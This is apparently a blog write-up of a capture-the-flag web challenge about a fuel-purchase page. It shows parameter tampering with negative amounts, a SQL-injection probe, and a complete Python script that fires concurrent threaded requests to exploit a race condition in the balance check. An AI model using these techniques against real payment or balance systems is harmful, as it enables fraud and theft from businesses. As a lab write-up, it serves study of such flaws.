Wednesday, August 14, 2013

ctf.wargame.vn web200

url: http://challenges.wargame.vn:1337/web200_3b3b44938292fda6efa33655c0954123/



To begin with, this challenge is so good except its hole in design. When I did it firstly, I completed it by using negative number which later a host confirm that it was his mistake. Then, I decided to start again with the connect way the host want. This writeup will discuss both of the methods I used.

Firstly, follow the link, you will face the register page


After getting username, you will be directed to main page. Setting up Burpsuit to start analysis this challenge.

You will notice that when you select the amount of money you wish to buy, browser will send it with a type of fuel you want as post variable :
res=20000&t=a92

then you will see the notice:

Now, turning to a raw data that server responses, you will see in the bottom of the response, there are a comment:

&lt--if($fuel >= 13.37) { show_flag(); reset(); }--&gt

This indicates that the mission is with 50000 buy 13.37litres of fuel.
We have only 50000 and there are 2 type of gases: a92 with 24570 and a95 with 25070, so we can buy maximum little above 2 litres (2.035l) -> not satisfy with the goal of this challenge.

1. Method1:


Change the amount of money before being sent to see what happen.I firstly input some special character to see whether there is a sqli or not.
for example: res=20000' or 1=1 &t=a92. But the system accepts 20000 only; hence, it might be no sqli in this mission.
Try to change it to negative number (for instance, res=-20000&t=a92). Amazingly, our balance is 70000 and fuel = -0.814L. So this system does not check the negative number. compare between 2 type of gases, I find out that I will have profit if I buy a more expensive gas with negative amount of money and then buy the other with all money I have. Let try it with 2 deals:
res=-1000000000&t=a95 -> now I have 1 000 050 000 and -39888.313L
res = 1000050000& t=a92 -> now I have 0 in my budget and 813.763L and also the flag :)

Anyway, this method has been confirmed later that it was a mistake of a coder, so I decided to do it again with method 2: race condition.

2. Method race condition:

Back to the start. After I send money to server, it seems that server accept my money, but there are something wrong with system when I see the balance is still 50000VND.
Ok, try to buy petrol one more time.
This time, the last purchase is updated. Therefore, there must be a delay between 2 deals. This fact lead me to think about the race condition attack. It happens when 2 or more concurrent processes do with the same data.
I wrote a piece of python code to simulate this situation by creating enough parallel connections to post purchase requests before system process our balance. In this case, I use thread to do that task. Because with 50000 I can buy only 2.013L, so to achieve 13.37L, I need at least 7 concurrent threads.
#!/usr/bin/python
import urllib
import urllib2
import thread
import time
import string
import random
import re
from cookielib import CookieJar
url ="http://challenges.wargame.vn:1337/web200_3b3b44938292fda6efa33655c0954123/"

def get_flag(result):
   
    flag=""
    matchflag = re.search(r'&ltinput br="" class="" id="res" name="res" result="" type="text" value="(.*)" /&gt    matchbalance = re.search(r'
&ltdiv class="button button-gray"&gt Balance: (.*)&lt/div&gt &ltdiv class="button button-gray"&gt Fuel: (.*)&lt/div&gt &ltdiv class="button button-gray"&gt Motorbike: ',result)
    if matchflag != None:
        print "balance: " + matchbalance.group(1) + " fuel: " + matchbalance.group(2)
        flag=  matchflag.group(1)
    return flag
def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for x in range(size))
def buy_petrol( threadName, amount):
    print threadName
    post_data_dictionary = {'res':amount, 't':'a92'}
    #sets the user agent header
    http_headers = {"User-Agent":"Mozilla/4.0 (compatible; MSIE 5.5;Windows NT)","Cookie": cookie_string}
    post_data_encoded = urllib.urlencode(post_data_dictionary)
    request_object = urllib2.Request(url, post_data_encoded, http_headers)
    response = urllib2.urlopen(request_object)
    html_string = response.read()
    flag = get_flag(html_string)
    if flag !="":
        print "thread: " + threadName + "return flag: " + flag
    else:
        print "thread: " + threadName + "-no flag:"
# cookie
cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
# input-type values from the html form
formdata = { "username" : id_generator()} #random username
data_encoded = urllib.urlencode(formdata)
response = opener.open(url+"?reg", data_encoded)
content = response.read()
#get cookie
cookie_string=""
for cookie in cj:
    cookie_string +=('%s=%s;'%(cookie.name,cookie.value))

try:
     thread.start_new_thread( buy_petrol, ("Thread-1", 50000, ) )
     thread.start_new_thread( buy_petrol, ("Thread-2", 50000, ) )
     thread.start_new_thread( buy_petrol, ("Thread-3", 50000, ) )
     thread.start_new_thread( buy_petrol, ("Thread-4", 50000, ) )
     thread.start_new_thread( buy_petrol, ("Thread-5", 50000, ) )
     thread.start_new_thread( buy_petrol, ("Thread-6", 50000, ) )
     thread.start_new_thread( buy_petrol, ("Thread-7", 50000, ) )


except:
   print "Error: unable to start thread"

print "Result - open home page"

time.sleep(5)
opener = urllib2.build_opener()

opener.addheaders.append(('Cookie', cookie_string))
a = opener.open(url)
result = a.read()

flag = get_flag(result)
if (flag !=""):
    print "flag: " +flag
else:
    print "flag is not found" 


By using the code above, I have to try to run and reset again and again and also increase the number of thread to about 20 to have the flag, and I think it depend on a status of the internet too.Updated: I rewrote the code. it worked now

No comments:

Post a Comment